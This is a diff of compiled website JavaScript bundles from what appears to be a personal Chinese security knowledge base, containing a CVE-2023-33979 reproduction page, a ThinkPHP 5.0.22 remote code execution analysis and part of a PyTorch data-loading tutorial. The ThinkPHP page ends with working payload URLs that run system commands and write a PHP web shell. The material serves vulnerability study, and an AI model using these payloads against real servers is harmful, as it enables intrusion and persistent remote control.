n.components?n.components(r):n.components||r:i(n.components),s.createElement(l.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/5e95c892.f07b7b1f.js b/en/assets/js/5e95c892.f07b7b1f.js new file mode 100644 index 0000000..581c03c --- /dev/null +++ b/en/assets/js/5e95c892.f07b7b1f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9647],{7121:(e,s,r)=>{r.r(s),r.d(s,{default:()=>n});r(96540);var a=r(34164),l=r(17559),u=r(45500),c=r(22831),o=r(21656),h=r(74848);function n(e){return(0,h.jsx)(u.e3,{className:(0,a.A)(l.G.wrapper.docsPages),children:(0,h.jsx)(o.A,{children:(0,c.v)(e.route.routes)})})}}}]); \ No newline at end of file diff --git a/en/assets/js/5f437ff5.78e2c605.js b/en/assets/js/5f437ff5.78e2c605.js new file mode 100644 index 0000000..b05ba0c --- /dev/null +++ b/en/assets/js/5f437ff5.78e2c605.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4661],{5158:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>r,contentTitle:()=>a,default:()=>p,frontMatter:()=>s,metadata:()=>c,toc:()=>l});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979","title":"CVE-2023-33979","description":"CVE-2023-33979","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/04.cve/2023/02.CVE-2023-33979.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/04.cve/2023","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/04.cve/2023/02.CVE-2023-33979.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"CVE-2023-33246","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246"},"next":{"title":"\u7985\u9053 action.ajaxGetList \u672a\u6388\u6743\u6cc4\u9732\u5230 Getshell \u8bfb\u53d6 /flag WP","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp"}}');var o=t(74848),i=t(28453);const s={},a=void 0,r={},l=[{value:"\u73af\u5883\u642d\u5efa",id:"\u73af\u5883\u642d\u5efa",level:2},{value:"\u653b\u51fb",id:"\u653b\u51fb",level:2}];function d(e){const n={a:"a",blockquote:"blockquote",code:"code",h2:"h2",p:"p",pre:"pre",...(0,i.R)(),...e.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(n.p,{children:"CVE-2023-33979"}),"\n",(0,o.jsxs)(n.blockquote,{children:["\n",(0,o.jsxs)(n.p,{children:["gpt_academic \u4e3a ChatGPT/GLM \u63d0\u4f9b\u56fe\u5f62\u754c\u9762\u3002\u5728 gpt_academic 3.37 \u53ca\u4e4b\u524d\u7684\u7248\u672c\u4e2d\u53d1\u73b0\u4e86\u4e00\u4e2a\u6f0f\u6d1e\u3002\u6b64\u95ee\u9898\u4f1a\u5f71\u54cd\u7ec4\u4ef6\u914d\u7f6e\u6587\u4ef6\u5904\u7406\u7a0b\u5e8f\u7684\u67d0\u4e9b\u672a\u77e5\u5904\u7406\u3002\u53c2\u6570\u6587\u4ef6\u7684\u64cd\u7eb5\u5bfc\u81f4\u4fe1\u606f\u6cc4\u9732\u3002\u7531\u4e8e\u6ca1\u6709\u914d\u7f6e\u654f\u611f\u6587\u4ef6\u7981\u6b62\u8bbf\u95ee\uff0c\u90e8\u5206\u5de5\u4f5c\u76ee\u5f55\u4e0b\u7684\u654f\u611f\u4fe1\u606f\u6587\u4ef6\u53ef\u4ee5\u901a\u8fc7",(0,o.jsx)(n.code,{children:"/file"}),"\u8def\u5f84\u8bfb\u53d6\uff0c\u5bfc\u81f4\u654f\u611f\u4fe1\u606f\u6cc4\u9732\u3002\u8fd9\u4f1a\u5f71\u54cd\u901a\u8fc7\u201cconfig.py\u201d\u3001\u201cconfig_private.py\u201d\u3001\u201cDockerfile\u201d\u4f7f\u7528\u6587\u4ef6\u914d\u7f6e\u7684\u7528\u6237\u3002\u8865\u4e01\u53ef\u5728\u63d0\u4ea4 1dcc2873d2168ad2d3d70afcb453ac1695fbdf02 \u83b7\u5f97\u3002\u4f5c\u4e3a\u4e00\u79cd\u89e3\u51b3\u65b9\u6cd5\uff0c\u53ef\u4ee5\u4f7f\u7528\u73af\u5883\u53d8\u91cf\u800c\u4e0d\u662f ",(0,o.jsx)(n.code,{children:"config*.py"})," \u6587\u4ef6\u6765\u914d\u7f6e\u8fd9\u4e2a\u9879\u76ee\uff0c\u6216\u8005\u4f7f\u7528 docker-compose \u5b89\u88c5\u6765\u914d\u7f6e\u8fd9\u4e2a\u9879\u76ee\u3002"]}),"\n"]}),"\n",(0,o.jsx)(n.h2,{id:"\u73af\u5883\u642d\u5efa",children:"\u73af\u5883\u642d\u5efa"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-sh",children:"git clone -b version3.36 https://github.com/binary-husky/gpt_academic.git\ncd gpt_academic && python -m pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/\n# \u586b\u5199\u597d\u5bf9\u5e94\u7684key\u540e\u5373\u53ef\u542f\u52a8\npython main.py\n"})}),"\n",(0,o.jsx)(n.h2,{id:"\u653b\u51fb",children:"\u653b\u51fb"}),"\n",(0,o.jsxs)(n.blockquote,{children:["\n",(0,o.jsxs)(n.p,{children:["poc\uff1a ",(0,o.jsx)(n.a,{href:"https://github.com/wjlin0/poc/blob/main/nuclei/CVE-2023-33979/poc.yaml",children:"CVE-2023-33979.yaml"})]}),"\n"]}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-text",children:"# nuclei version 2.9.6\n# nuclei -t poc.yaml -u http://www.wjlin0.com\n"})})]})}function p(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,o.jsx)(n,{...e,children:(0,o.jsx)(d,{...e})}):d(e)}},28453:(e,n,t)=>{t.d(n,{R:()=>s,x:()=>a});var c=t(96540);const o={},i=c.createContext(o);function s(e){const n=c.useContext(i);return c.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function a(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(o):e.components||o:s(e.components),c.createElement(i.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/5ff91df1.ffeed3bf.js b/en/assets/js/5ff91df1.ffeed3bf.js new file mode 100644 index 0000000..24ff4f1 --- /dev/null +++ b/en/assets/js/5ff91df1.ffeed3bf.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9005],{28453:(n,e,i)=>{i.d(e,{R:()=>l,x:()=>h});var s=i(96540);const t={},c=s.createContext(t);function l(n){const e=s.useContext(c);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function h(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:l(n.components),s.createElement(c.Provider,{value:e},n.children)}},91260:(n,e,i)=>{i.r(e),i.d(e,{assets:()=>r,contentTitle:()=>h,default:()=>o,frontMatter:()=>l,metadata:()=>s,toc:()=>p});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","title":"Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/01.Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/01.Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u57fa\u7ebf\u68c0\u67e5","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/"},"next":{"title":"Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316"}}');var t=i(74848),c=i(28453);const l={},h=void 0,r={},p=[{value:"\u5f71\u54cd\u7248\u672c",id:"\u5f71\u54cd\u7248\u672c",level:2},{value:"\u6f0f\u6d1e\u5206\u6790",id:"\u6f0f\u6d1e\u5206\u6790",level:2},{value:"Payload",id:"payload",level:2}];function d(n){const e={a:"a",blockquote:"blockquote",code:"code",h2:"h2",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,c.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-08-19 16:46:45"})]})})]}),"\n",(0,t.jsx)(e.p,{children:"\u200b\t\t\u7531\u4e8e\uff0cthinkphp 5.0.23 \u4ee5\u53ca5.1.31 \u4e4b\u524d\u7684\u7248\u672c\u90fd\u672a\u5f3a\u5236\u5f00\u542f\u8def\u7531\uff0c\u6240\u4ee5\uff0c\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u63d0\u4ea4\u6076\u610f\u53c2\u6570\u5bfc\u81f4\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c"}),"\n",(0,t.jsx)(e.h2,{id:"\u5f71\u54cd\u7248\u672c",children:"\u5f71\u54cd\u7248\u672c"}),"\n",(0,t.jsx)(e.p,{children:"\u200b\t\tthinkphp \u5f53\u524d\u7248\u672c< 5.0.22"}),"\n",(0,t.jsx)(e.h2,{id:"\u6f0f\u6d1e\u5206\u6790",children:"\u6f0f\u6d1e\u5206\u6790"}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsxs)(e.p,{children:["get\u8bf7\u6c42 ",(0,t.jsx)(e.code,{children:"index.php?s=index/think\\app/invokefunction&function=system&vars[0]=dir&vars[1][]="})]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:"1\uff09\u4ece\u5165\u53e3index.php \u9996\u5148\u4f1a\u6765\u5230 thinkphp \u7684\u521d\u59cb\u5316\u6587\u4ef6"}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:"thinkphp/library/think/App.php -> run() "})}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646809.png",alt:"image-20220321153031865"})}),"\n",(0,t.jsx)(e.p,{children:"2\uff09\u56e0\u4e3a\u6f0f\u6d1ePOC\u4e0e\u6846\u67b6\u7684url\u5904\u7406\u6709\u5173\uff0c\u6240\u4ee5\u76f4\u63a5\u8ddf\u5230URL\u8def\u7531\u68c0\u6d4b\u51fd\u6570"}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"thinkphp/library/think/App.php -> run() "})," 116"]}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646810.png",alt:"image-20220321153239864"})}),"\n",(0,t.jsx)(e.p,{children:"3\uff09\u5728\u8fd9\u4e2a\u65b9\u6cd5\u4e2d\u4f1a\u68c0\u6d4b url\u53c2\u6570\uff0c\u901a\u8fc7\u53c2\u6570\u8bbf\u95ee\u7c7b\u6216\u8005\u65b9\u6cd5 \u6216\u8005\u6a21\u677f"}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsx)(e.p,{children:"thinkphp/library/think/App.php-> routeCheck()"}),"\n"]}),"\n",(0,t.jsxs)(e.p,{children:["\u200b\t\t\u8be5\u65b9\u6cd5\u4e2d\uff0c\u7b2c620\u884c \u8c03\u7528",(0,t.jsx)(e.code,{children:"$request->path()"})," \u8fd4\u56de\u4e86 url\u4e2d\u7684s\u53c2\u6570\u503c"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646811.png",alt:"image-20220321154826904"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"\t\u7b2c643 \u4f1a\u89e3\u6790\u8def\u7531\uff0c\u5982\u679c \u6ca1\u6709\u7528\u8def\u7531\u4f1a\u8fd4\u56defalse \n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646812.png",alt:"image-20220321155231182"})}),"\n",(0,t.jsx)(e.p,{children:"\u200b\t\t\u7b2c 654\u884c \u5f53\u4e3a\u65e0\u6548\u8def\u7531\u65f6\uff0c\u4f1a\u53bb\u89e3\u6790\u517c\u5bb9\u8def\u7531\uff0c"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646813.png",alt:"image-20220321155428658"})}),"\n",(0,t.jsxs)(e.p,{children:["4\uff09\u8ddf\u8fdb ",(0,t.jsx)(e.code,{children:"Route::parseUrl"})]}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"thinkphp/library/think/Route.php->parseUrl()"})," 1217"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646814.png",alt:"image-20220321155637197"})}),"\n",(0,t.jsxs)(e.p,{children:["\u200b\t\t\u8be5\u65b9\u6cd5\u4e2d\uff0c\u5728\u7b2c1225\u884c \u4f1a\u5c06$url \u5373s\u53c2\u6570\u4e2d\u7684\u503c\uff0c",(0,t.jsx)(e.code,{children:"/"})," \u66ff\u6362\u6210",(0,t.jsx)(e.code,{children:"|"}),",\u7528\u4e8e\u89e3\u6790 \u6a21\u677f| \u63a7\u5236\u5668|\u64cd\u4f5c|\u53c2\u6570"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646815.png",alt:"image-20220321160229396"})}),"\n",(0,t.jsxs)(e.p,{children:["\u200b\t\t\u6700\u7ec8\uff0c\u5f80\u56de\u8d70\uff0c\u5c06\u7ed3\u679c\u8fd4\u56de\u7ed9 ",(0,t.jsx)(e.code,{children:"$result"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646816.png",alt:"image-20220321161309138"})}),"\n",(0,t.jsx)(e.p,{children:"5\uff09\u6700\u7ec8\u56de\u5230run()\u65b9\u6cd5\u4e2d\uff0c"}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsx)(e.p,{children:"thinkphp/library/think/App.php > run() 139"}),"\n"]}),"\n",(0,t.jsxs)(e.p,{children:["\u200b\t\t\u5728",(0,t.jsx)(e.code,{children:"self::exec()"})," \u5c06\u83b7\u5f97\u7684 ",(0,t.jsx)(e.code,{children:"$dispatch"})," \u505a\u64cd\u4f5c"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646817.png",alt:"image-20220321161642624"})}),"\n",(0,t.jsxs)(e.p,{children:["6\uff09\u7ee7\u7eed\u8ddf\u8fdb\uff0c\u7531\u4e8e ",(0,t.jsx)(e.code,{children:"$dispatch"})," \u4e2d\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e3a\uff0c",(0,t.jsx)(e.code,{children:"'module'"}),"\u5219\u4f1a\u53bb\u8c03\u7528\uff0c",(0,t.jsx)(e.code,{children:"self::module"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646818.png",alt:"image-20220321161927364"})}),"\n",(0,t.jsxs)(e.ol,{start:"7",children:["\n",(0,t.jsx)(e.li,{children:"\u5728self::module \u7b2c585\u884c\u4f1a\u505a\u5bf9\u6bd4\uff0c\u770b\u6a21\u677f\u65b9\u6cd5\u662f\u5426\u5b58\u5728\uff0c\u5b58\u5728\u5219\u4f1a\u8fdb\u5165if\u8bed\u53e5\u4e2d"}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646819.png",alt:"image-20220321162809024"})}),"\n",(0,t.jsxs)(e.p,{children:["8.\u6700\u540e\u8fd4\u56de\u503c\uff0c\u8c03\u7528",(0,t.jsx)(e.code,{children:"self::invokeMethod"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646820.png",alt:"image-20220321162853374"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5728\u8be5\u65b9\u6cd5\u4e2d\u4f1a\u751f\u6210ReflectionMethod\u5bf9\u8c61\uff0c\u6700\u540e\u7684\u8fd4\u56de\u503c\uff0c\u8c03\u7528 ReflectionMethod\u5bf9\u8c61\u7684invokeArgs \u65b9\u6cd5\uff0c\u8be5\u65b9\u6cd5\u4f1a\u56de\u8c03\u4e00\u4e2a\u65b9\u6cd5 \u5373 $args\u6570\u7ec4\u7684\u7b2c\u4e00\u4e2a\uff0c\u5373 ",(0,t.jsx)(e.code,{children:"invokeFunction"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646821.png",alt:"image-20220321165756665"})}),"\n",(0,t.jsx)(e.p,{children:"9\uff09\u6700\u540e\u5728InvokeFunction \u65b9\u6cd5\u6267\u884c\u5371\u9669\u51fd\u6570"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646822.png",alt:"image-20220321170004451"})}),"\n",(0,t.jsx)(e.p,{children:"\u6ce8\uff1a\u5173\u4e8e\u5728ReflectionMethod\u7684\u4f7f\u7528\u53ef\u53c2\u8003"}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:"https://www.php.net/manual/zh/class.reflectionmethod.php",children:"PHP: ReflectionMethod - Manual"})}),"\n"]}),"\n",(0,t.jsx)(e.h2,{id:"payload",children:"Payload"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"http://localhost/index.php?s=index/think\\app/invokefunction&function=system&vars[0]=whoami&vars[1][]=\n\nhttp://localhost/index.php?s=index/think\\app/invokefunction&function=call_func_user_array&vars[0]=system&vars[1][]=whoami\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"http://localhost/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=sad.php&vars[1][1]=<?php eval($_POST[cmd])?>\n"})})]})}function o(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(d,{...n})}):d(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/615e97e2.157214ea.js b/en/assets/js/615e97e2.157214ea.js new file mode 100644 index 0000000..e53eb84 --- /dev/null +++ b/en/assets/js/615e97e2.157214ea.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5723],{28453:(e,n,t)=>{t.d(n,{R:()=>l,x:()=>i});var a=t(96540);const r={},s=a.createContext(r);function l(e){const n=a.useContext(s);return a.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:l(e.components),a.createElement(s.Provider,{value:n},e.children)}},66404:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>o,contentTitle:()=>i,default:()=>h,frontMatter:()=>l,metadata:()=>a,toc:()=>d});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165","title":"3.3 \u6570\u636e\u8bfb\u5165.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.2 \u57fa\u672c\u914d\u7f6e.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e"},"next":{"title":"3.4 \u6a21\u578b\u6784\u5efa.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa"}}');var r=t(74848),s=t(28453);const l={},i="3.3 \u6570\u636e\u8bfb\u5165.md",o={},d=[];function c(e){const n={a:"a",code:"code",h1:"h1",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(n.header,{children:(0,r.jsx)(n.h1,{id:"33-\u6570\u636e\u8bfb\u5165md",children:"3.3 \u6570\u636e\u8bfb\u5165.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(n.h1,{id:"33-\u6570\u636e\u8bfb\u5165",children:"3.3 \u6570\u636e\u8bfb\u5165"}),"\n",(0,r.jsx)(n.p,{children:"PyTorch\u6570\u636e\u8bfb\u5165\u662f\u901a\u8fc7Dataset+DataLoader\u7684\u65b9\u5f0f\u5b8c\u6210\u7684\uff0cDataset\u5b9a\u4e49\u597d\u6570\u636e\u7684\u683c\u5f0f\u548c\u6570\u636e\u53d8\u6362\u5f62\u5f0f\uff0cDataLoader\u7528iterative\u7684\u65b9\u5f0f\u4e0d\u65ad\u8bfb\u5165\u6279\u6b21\u6570\u636e\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"PyTorch\u5e38\u89c1\u7684\u6570\u636e\u8bfb\u53d6\u65b9\u5f0f"}),"\n",(0,r.jsx)(n.li,{children:"\u6784\u5efa\u81ea\u5df1\u7684\u6570\u636e\u8bfb\u53d6\u6d41\u7a0b"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u53ef\u4ee5\u5b9a\u4e49\u81ea\u5df1\u7684Dataset\u7c7b\u6765\u5b9e\u73b0\u7075\u6d3b\u7684\u6570\u636e\u8bfb\u53d6\uff0c\u5b9a\u4e49\u7684\u7c7b\u9700\u8981\u7ee7\u627fPyTorch\u81ea\u8eab\u7684Dataset\u7c7b\u3002\u4e3b\u8981\u5305\u542b\u4e09\u4e2a\u51fd\u6570\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsxs)(n.li,{children:[(0,r.jsx)(n.code,{children:"__init__"}),": \u7528\u4e8e\u5411\u7c7b\u4e2d\u4f20\u5165\u5916\u90e8\u53c2\u6570\uff0c\u540c\u65f6\u5b9a\u4e49\u6837\u672c\u96c6"]}),"\n",(0,r.jsxs)(n.li,{children:[(0,r.jsx)(n.code,{children:"__getitem__"}),": \u7528\u4e8e\u9010\u4e2a\u8bfb\u53d6\u6837\u672c\u96c6\u5408\u4e2d\u7684\u5143\u7d20\uff0c\u53ef\u4ee5\u8fdb\u884c\u4e00\u5b9a\u7684\u53d8\u6362\uff0c\u5e76\u5c06\u8fd4\u56de\u8bad\u7ec3/\u9a8c\u8bc1\u6240\u9700\u7684\u6570\u636e"]}),"\n",(0,r.jsxs)(n.li,{children:[(0,r.jsx)(n.code,{children:"__len__"}),": \u7528\u4e8e\u8fd4\u56de\u6570\u636e\u96c6\u7684\u6837\u672c\u6570"]}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4e0b\u9762\u4ee5cifar10\u6570\u636e\u96c6\u4e3a\u4f8b\u7ed9\u51fa\u6784\u5efaDataset\u7c7b\u7684\u65b9\u5f0f\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"import torch\nfrom torchvision import datasets\ntrain_data = datasets.ImageFolder(train_path, transform=data_transform)\nval_data = datasets.ImageFolder(val_path, 